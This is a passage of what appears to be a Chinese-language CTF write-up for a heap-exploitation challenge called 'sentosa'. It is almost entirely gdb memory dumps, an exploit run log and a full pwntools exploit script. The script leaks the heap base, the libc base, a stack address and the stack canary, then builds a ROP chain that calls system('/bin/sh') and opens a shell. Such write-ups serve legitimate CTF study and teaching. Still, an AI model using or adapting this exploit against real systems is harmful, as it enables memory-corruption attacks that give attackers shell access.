0x555555757020: 0x0000000000000100 0x0000000000000021
0x555555757030: 0x0000010000000000 0x0000010000000100
0x555555757040: 0x0000000000000100 0x0000000000000021
0x555555757050: 0x0000010000000000 0x0000010000000100
0x555555757060: 0x0000000000000100 0x0000000000000031
0x555555757070: 0x000000410000000f 0x0000000000000000
0x555555757080: 0x0000000100000000 0x00000000000000d1
0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x5555557570a0: 0x0000000100000050 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000010000000000 0x0000010000000100
0x555555757100: 0x0000000000000100 0x0000000000000071
0x555555757110: 0x4141414100000050 0x4141414141414141
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x00000000000000d0 0x0000000000000020
0x555555757160: 0x0000010000000000 0x0000010000000100
0x555555757170: 0x0000000000000100 0x0000000000020e91
0x555555757180: 0x0000000000000000 0x0000000000000000
将它打印出来即可得到 libc 的基址。
leak stack and canary
def leak_stack_canary():
global canary
environ_addr = libc.symbols['__environ'] + libc_base
log.info("__environ address: 0x%x" % environ_addr)
start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4
view_proj()
for i in range(5):
io.recvuntil("Price: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Area: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
stack_addr = leak_low + (leak_high<<32)
canary_addr = stack_addr - 0x130
log.info("stack address: 0x%x" % stack_addr)
log.info("canary address: 0x%x" % canary_addr)
start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6
view_proj()
for i in range(7):
io.recvuntil("Project: ")
canary = (u64(io.recvline()[:-1] + "\x00"))<<8
log.info("canary: 0x%x" % canary)
通过 libc 地址计算出 __environ
的地址,构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址,同样的方法构造 project,得到 canary。
pwn
def pwn():
pop_rdi_ret = libc_base + 0x21102
bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
system_addr = libc_base + libc.symbols['system']
payload = "A" * 0x68
payload += p64(canary) # canary
payload += "A" * 0x28
payload += p64(pop_rdi_ret) # return address
payload += p64(bin_sh)
payload += p64(system_addr) # system("/bin/sh")
start_proj(0, payload, 1, 1, 1)
io.interactive()
最后我们就可以构造 ROP 得到 shell 了。
gdb-peda$ x/24gx $rsp
0x7fffffffec70: 0x00007ffff7dd3780 0x00000000f7b046e0
0x7fffffffec80: 0x4141414141414141 0x4141414141414141
0x7fffffffec90: 0x4141414141414141 0x4141414141414141
0x7fffffffeca0: 0x4141414141414141 0x4141414141414141
0x7fffffffecb0: 0x4141414141414141 0x4141414141414141
0x7fffffffecc0: 0x4141414141414141 0x4141414141414141
0x7fffffffecd0: 0x4141414141414141 0x4141414141414141
0x7fffffffece0: 0x4141414141414141 0xa078057095c7cf00 <-- canary
0x7fffffffecf0: 0x4141414141414141 0x4141414141414141
0x7fffffffed00: 0x4141414141414141 0x4141414141414141
0x7fffffffed10: 0x4141414141414141 0x00007ffff7a2f102 <-- pop rdi; ret
0x7fffffffed20: 0x00007ffff7b9a177 0x00007ffff7a53390 <-- "/bin/sh" <-- system
开启 ASLR。Bingo!!!
$ python exp.py
[+] Starting local process './sentosa': pid 11161
[*] heap base: 0x556cac880000
[*] libc base: 0x7fd37c2a7000
[*] __environ address: 0x7fd37c66cf38
[*] stack address: 0x7ffcdd2ae7c8
[*] canary address: 0x7ffcdd2ae698
[*] canary: 0x307ea32507776d00
[*] Switching to interactive mode
Your project is No.7
$ whoami
firmy
exploit
完整的 exp 如下:
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./sentosa'], env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF('libc-2.23.so')
def start_proj(length, name, price, area, capacity):
io.sendlineafter("Exit\n", '1')
io.sendlineafter("name: ", str(length))
io.sendlineafter("name: ", name)
io.sendlineafter("price: ", str(price))
io.sendlineafter("area: ", str(area))
io.sendlineafter("capacity: ", str(capacity))
def view_proj():
io.sendlineafter("Exit\n", '2')
def cancel_proj(idx):
io.sendlineafter("Exit\n", '4')
io.sendlineafter("number: ", str(idx))
def leak_heap():
global heap_base
start_proj(0, 'A', 1, 1, 1) # 0
start_proj(0, 'A'*0x5a, 1, 1, 1) # 1
start_proj(0, 'A', 1, 1, 1) # 2
cancel_proj(2)
cancel_proj(0)
view_proj()
io.recvuntil("Capacity: ")
leak = int(io.recvline()[:-1], 10) & 0xffffffff
heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
log.info("heap base: 0x%x" % heap_base)
def leak_libc():
global libc_base
start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0
start_proj(0x50, '\x01', 1, 1, 1) # 2
start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3
start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4
start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5
cancel_proj(4)
view_proj()
for i in range(5):
io.recvuntil("Area: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Capacity: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
libc_base = leak_low + (leak_high<<32) - 0x3c3b78
log.info("libc base: 0x%x" % libc_base)
def leak_stack_canary():
global canary
environ_addr = libc.symbols['__environ'] + libc_base
log.info("__environ address: 0x%x" % environ_addr)
start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4
view_proj()
for i in range(5):
io.recvuntil("Price: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Area: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
stack_addr = leak_low + (leak_high<<32)
canary_addr = stack_addr - 0x130
log.info("stack address: 0x%x" % stack_addr)
log.info("canary address: 0x%x" % canary_addr)
start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6
view_proj()
for i in range(7):
io.recvuntil("Project: ")
canary = (u64(io.recvline()[:-1] + "\x00"))<<8
log.info("canary: 0x%x" % canary)
def pwn():
pop_rdi_ret = libc_base + 0x21102
bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
system_addr = libc_base + libc.symbols['system']
payload = "A" * 0x68
payload += p64(canary) # canary
payload += "A" * 0x28
payload += p64(pop_rdi_ret) # return address
payload += p64(bin_sh)
payload += p64(system_addr) # system("/bin/sh")
start_proj(0, payload, 1, 1, 1)
io.interactive()
if __name__ == "__main__":
leak_heap()
leak_libc()
leak_stack_canary()
pwn()